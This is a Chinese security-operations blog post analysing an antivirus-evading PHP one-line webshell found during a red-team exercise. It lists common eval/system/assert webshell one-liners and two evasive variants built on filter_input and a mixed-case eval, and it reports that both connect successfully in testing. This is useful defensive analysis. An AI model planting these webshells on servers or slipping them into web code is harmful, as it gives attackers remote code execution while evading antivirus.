安全运营 | 记一次简单的免杀PHP一句话木马分析

admin 2024年10月23日14:10:54评论118 views字数 1027阅读3分25秒阅读模式

在前段攻防演练中发现一种新型的免杀PHP一句话木马,当时服务器所安装的杀毒软件未进行检出和报毒,本篇文章通过本地环境复现,学习和分享一下该种类型的PHP一句话木马。

安全运营 | 记一次简单的免杀PHP一句话木马分析

0x00 什么是一句话木马?

一句话木马是一种短小精悍的恶意代码,通常只有一行之长‌。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。

安全运营 | 记一次简单的免杀PHP一句话木马分析

一句话木马具有体积小、隐蔽性强等特点,这使得它在黑客攻击中非常常见。利用其特点,攻击者可以轻松地将其隐藏在正常的网页或文件中,难以被察觉。

常见的PHP一句话木马:

  • <?php @eval($_POST['password']);?>

  • <?php system($_REQUEST['cmd']); ?>

  • <?php @assert($_POST['cmd']); ?>

0x01 免杀PHP一句话木马

免杀php一句话木马其实就是常见写法的变种,在使用函数上和写法上改变,使杀毒软件无法识别,本次发现的有两种写法:

<?php $a = filter_input(INPUT_POST,'1@A');EvAl/**/(trim($a));?><?php EvAl(trim(filter_input(INPUT_POST,'1@A')));?>

通过分析代码可以看出功能为利用eval()函数来执行经过trim()和filter_input()处理的POST请求数据。

  • trim() 移除字符串两侧的空白字符或其他预定义字符。

  • filter_input() 通过名称获取特定的外部变量,并且可以通过过滤器处理它。

攻击者采用与常见php一句话木马不同的方式获取参数,通过filter_input(INPUT_POST, '1@A')从POST请求中获取名为'1@A'的参数,并使用trim()函数去除其前后的空白字符,最后传入eval()函数来执行任意代码。

0x02 实际测试

将该PHP脚本写入服务器,使用指定的过滤字符串作为连接密码,可正常连接成功。

安全运营 | 记一次简单的免杀PHP一句话木马分析

连接后Webshell正常使用。

安全运营 | 记一次简单的免杀PHP一句话木马分析

安全运营 | 记一次简单的免杀PHP一句话木马分析

测试另外一种写法,仍可正常连接。

安全运营 | 记一次简单的免杀PHP一句话木马分析

安全运营 | 记一次简单的免杀PHP一句话木马分析

安全运营 | 记一次简单的免杀PHP一句话木马分析
安全运营 | 记一次简单的免杀PHP一句话木马分析

如果您觉得内容还不错的话,请关注我吧!

建议把公众号“篝火信安”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。

操作方法:点击公众号页面右上角的【...】,然后点击【设为星标】即可。

原文始发于微信公众号(篝火信安):安全运营 | 记一次简单的免杀PHP一句话木马分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月23日14:10:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全运营 | 记一次简单的免杀PHP一句话木马分析https://cn-sec.com/archives/3305379.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息